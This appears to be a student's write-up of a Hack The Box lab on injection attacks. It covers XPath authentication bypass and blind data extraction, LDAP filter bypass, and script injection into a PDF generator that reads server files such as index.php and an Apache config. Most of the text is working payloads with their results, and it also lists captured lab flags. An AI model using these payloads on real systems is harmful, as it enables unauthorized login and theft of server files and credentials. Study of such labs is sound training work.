Injection Attacks

XPath - Auth Bypass

Firstly, we can inject a double or clause in the username to make the XPath query return true, thereby returning all user nodes such that we log in as the first user. An example payload would be ' or true() or ' resulting in the following query:

However, just like discussed previously, we might want to log in as a specific user to obtain more privileges.

One way to do this is to iterate over all users by their position. This can be achieved with the following payload: ' or position()=2 or ', resulting in the following query:

By using the payload ' or position()=3 or '

the third user would be obtained which is the superuser.

For this task, the below payload have been tested and did not work.

' or contains(.,'admin') or '

admin' or '1'='1

For the successful attempts in auth bypass, the payload works even if it is URL-encoded.

Flag: HTB{baa4759ac0d153ec234a72df5d99bf56}

XPath - Data Exfiltration

Confirming XPath Injection

We can confirm XPath injection by sending the payload SOMETHINGINVALID') or ('1'='1 in the q parameter. This would result in the following XPath query:

While our provided substring is invalid, the injected or clause evaluates to true such that the predicate becomes universally true. Therefore, it matches all nodes at that depth. If we send this payload, the web application responds with all street names, thus confirming the XPath injection vulnerability:

We are appending a second query with the | operator, similar to a UNION-based SQL injection. The second query, //text(), returns all text nodes in the XML document. Therefore, the response contains all data stored in the XML document. Depending on the size of the XML document, the response can be pretty large. Thus it may take some time to look through the data carefully. In our example, we can find a user data set at the end of the document after the data set containing information about the streets of San Francisco:

We could also achieve the same result by using this payload in the q parameter: SOMETHINGINVALID') or ('1'='1 and setting the f parameter to ../../..//text(). This would result in the following XPath query:

The predicate is universally true due to our injected or clause. Furthermore, our payload injected into the f parameter moves back up to the document's root and selects all text nodes, just like our previous payload. Thus, this query also returns the entire XML document.

XPath - Advanced Data Exfiltration

We set the search term in the parameter q to anything that does not return data, for instance, SOMETHINGINVALID. We can then set the parameter f to fullstreetname | /*[1]. This results in the following XPath query:

The subquery /*[1] starts at the document root /, moves one node down the node tree due to the wildcard *, and selects the first child due to the predicate [1]. Thus, this subquery selects the document root's first child, the document root element node. Since the document root element node has multiple child nodes, it is of the data type array in PHP, which we can confirm when analyzing the response. The web application expects a string but receives an array and is thus unable to print the results, resulting in an empty response:

By adding fullstreetname | /*[1]/*[1]/*[1]/*[1] to the f parameter, we get some results. The schema depth for the street data is 4 and this allows us to start exfiltrating data by increasing the position in the last predicate until no more data can be retrieved:

We successfully exfiltrated information about the first street in the data set. The three values seem to be the long street name, the short street name, and a street type. We can thus fill in some of the placeholders of the XML schema from the previous section. However, remember that we still do not know the exact node names. We are just trying to create an overview of the structure of the XML document:

Value of the f GET parameter

Response

fullstreetname | /*[1]/*[2]/*[1]/*[1]/*[1]

htb-stdnt

fullstreetname | /*[1]/*[2]/*[2]/*[1]/*[1]

kgrenvile

fullstreetname | /*[1]/*[2]/*[3]/*[1]/*[1]

admin

To get flag of admin use the payload fullstreetname | /*[1]/*[2]/*[3]/*[1]/*[3

XPath - Blind Data Exfiltration

Testing for XPath Injection in Login Page

On the username field of login, add invalid' or '1'='1

Exfiltrating the Length of a Node's Name

To exfiltrate the length of the root node's name, we can use the payload invalid' or string-length(name(/*[1]))=1 and '1'='1, resulting in the following XPath query:

User does not exist at root element node /*[1]

At root element node 8, the request was sent successfully

Exfiltrating a Node's Name

Now that we know the length of the node's name, we can exfiltrate the name character by character. For that, we can use the payload invalid' or substring(name(/*[1]),1,1)='a' and '1'='1, resulting in the following XPath query:

We need to iterate through all possible characters until we find the correct one, which in our case is a:

invalid' or substring(name(/*[1]),1,1)='a' and '1'='1

invalid' or substring(name(/*[1]),2,1)='a' and '1'='1

Exfiltrating the Number of Child Nodes

/users/user[username='invalid' or substring(name(/*[1]),1,1)='a' and '1'='1'] > accounts

invalid' or count(/accounts/*)=1 and '1'='1 > 2

First User :

invalid'+or+string-length(/accounts/*[1]/*)=5+and+'1'='1 > 5

invalid'+or+substring(/accounts/*[1]/*,1,1)='a'+and+'1'='1 > a

invalid'+or+substring(/accounts/*[1]/*,2,1)='a'+and+'1'='1 > d

invalid'+or+substring(/accounts/*[1]/*,3,1)='a'+and+'1'='1 > m

invalid'+or+substring(/accounts/*[1]/*,4,1)='a'+and+'1'='1 > i

invalid'+or+substring(/accounts/*[1]/*,5,1)='a'+and+'1'='1 > n

Second user:

invalid'+or+substring(/accounts/*[2]/*,1,1)='a'+and+'1'='1 > h

invalid'+or+substring(/accounts/*[2]/*,2,1)='a'+and+'1'='1 > t

invalid'+or+substring(/accounts/*[2]/*,3,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[2]/*,5,1)='a'+and+'1'='1 > s

invalid'+or+substring(/accounts/*[2]/*,6,1)='a'+and+'1'='1 > t

invalid'+or+substring(/accounts/*[2]/*,7,1)='a'+and+'1'='1 > d

invalid'+or+substring(/accounts/*[2]/*,8,1)='a'+and+'1'='1 > n

invalid'+or+substring(/accounts/*[2]/*,9,1)='a'+and+'1'='1 > t

To get flag:

invalid'+or+substring(/accounts/*[1]/*[2],1,1)='a'+and+'1'='1 > H

invalid'+or+substring(/accounts/*[1]/*[2],2,1)='a'+and+'1'='1 > T

invalid'+or+substring(/accounts/*[1]/*[2],3,1)='a'+and+'1'='1 > B

invalid'+or+substring(/accounts/*[1]/*[2],4,1)='a'+and+'1'='1 > {

invalid'+or+substring(/accounts/*[1]/*[2],5,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[1]/*[2],6,1)='a'+and+'1'='1 > c

invalid'+or+substring(/accounts/*[1]/*[2],7,1)='a'+and+'1'='1 > c

invalid'+or+substring(/accounts/*[1]/*[2],8,1)='a'+and+'1'='1 > 3

invalid'+or+substring(/accounts/*[1]/*[2],9,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[1]/*[2],10,1)='a'+and+'1'='1 > 4

invalid'+or+substring(/accounts/*[1]/*[2],11,1)='a'+and+'1'='1 > 2

invalid'+or+substring(/accounts/*[1]/*[2],12,1)='a'+and+'1'='1 > d

invalid'+or+substring(/accounts/*[1]/*[2],13,1)='a'+and+'1'='1 > e

invalid'+or+substring(/accounts/*[1]/*[2],14,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[1]/*[2],15,1)='a'+and+'1'='1 > d

invalid'+or+substring(/accounts/*[1]/*[2],16,1)='a'+and+'1'='1 > 9

invalid'+or+substring(/accounts/*[1]/*[2],17,1)='a'+and+'1'='1 > 1

invalid'+or+substring(/accounts/*[1]/*[2],18,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[1]/*[2],19,1)='a'+and+'1'='1 > 5

invalid'+or+substring(/accounts/*[1]/*[2],20,1)='a'+and+'1'='1 > 6

invalid'+or+substring(/accounts/*[1]/*[2],21,1)='a'+and+'1'='1 > 1

invalid'+or+substring(/accounts/*[1]/*[2],22,1)='a'+and+'1'='1 > 2

invalid'+or+substring(/accounts/*[1]/*[2],23,1)='a'+and+'1'='1 > a

invalid'+or+substring(/accounts/*[1]/*[2],24,1)='a'+and+'1'='1 > a

invalid'+or+substring(/accounts/*[1]/*[2],25,1)='a'+and+'1'='1 > 8

invalid'+or+substring(/accounts/*[1]/*[2],26,1)='a'+and+'1'='1 > 0

invalid'+or+substring(/accounts/*[1]/*[2],27,1)='a'+and+'1'='1 > b

invalid'+or+substring(/accounts/*[1]/*[2],28,1)='a'+and+'1'='1 > 1

invalid'+or+substring(/accounts/*[1]/*[2],29,1)='a'+and+'1'='1 > 7

invalid'+or+substring(/accounts/*[1]/*[2],30,1)='a'+and+'1'='1 > 4

invalid'+or+substring(/accounts/*[1]/*[2],31,1)='a'+and+'1'='1 > 2

invalid'+or+substring(/accounts/*[1]/*[2],32,1)='a'+and+'1'='1 > f

invalid'+or+substring(/accounts/*[1]/*[2],33,1)='a'+and+'1'='1 > 3

invalid'+or+substring(/accounts/*[1]/*[2],34,1)='a'+and+'1'='1 > a

invalid'+or+substring(/accounts/*[1]/*[2],35,1)='a'+and+'1'='1 > e

invalid'+or+substring(/accounts/*[1]/*[2],36,1)='a'+and+'1'='1 > f

invalid'+or+substring(/accounts/*[1]/*[2],37,1)='a'+and+'1'='1 > }

Flag:HTB{bcc3b42debd91b5612aa80b1742f3aef}

LDAP Injection

Authentication Bypass

username= %2Aadmin%2A%29%28%7C%28%26

password = admin%29s

Flag: HTB{cb9ab1284eafaa9e7e9ca41d70183a75}

LDAP - Data Exfiltration & Blind Exploitation

Use intruder to exfiltrate the flag of admin user via description

flag: htb{cfbf8ce58a8986ab567ed5533b186515}

Exploitation of PDF Generation Vulnerabilities

<iframe src="http://127.0.0.1:8080" width="800" height="500"></iframe>
<script>
	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(this.responseText)
	};
	x.open("GET", "file:///users/adminkey.txt");
	x.send();
</script>

Use SSRF to find adminkey.txt and later LFI to show the text file.

Skills Assessment

Use Javascript payload to read default linux config files

<script>
	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(this.responseText)
	};
	x.open("GET", "file:///etc/apache2/sites-enabled/000-default.conf");
	x.send();
</script>
/etc/apache2/sites-enabled/000-default.conf

Internal app directory is /var/www/internal/

Read source code of index.php to get the XML structure

<script>
	function addNewlines(str) {
		var result = '';
		while (str.length > 0) {
		    result += str.substring(0, 100) + '\n';
			str = str.substring(100);
		}
		return result;
	}

	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(addNewlines(btoa(this.responseText)))
	};
	x.open("GET", "file:///var/www/internal/index.php");
	x.send();
</script>

$query = "/orders/order[id=" . $predicate . "]"; $results = $xml->xpath($query);

To find number of entries use the count payload

There are 7 entries/ids

For order[1], the id is 1337

string-length is 4

For order[2], the id is 1

string-length is 1

For order[7], id is 129837

string-length is 6

The 7 ids are 1,2,3,4,5,1337,129837

Flag can be found when q=129837

Last updated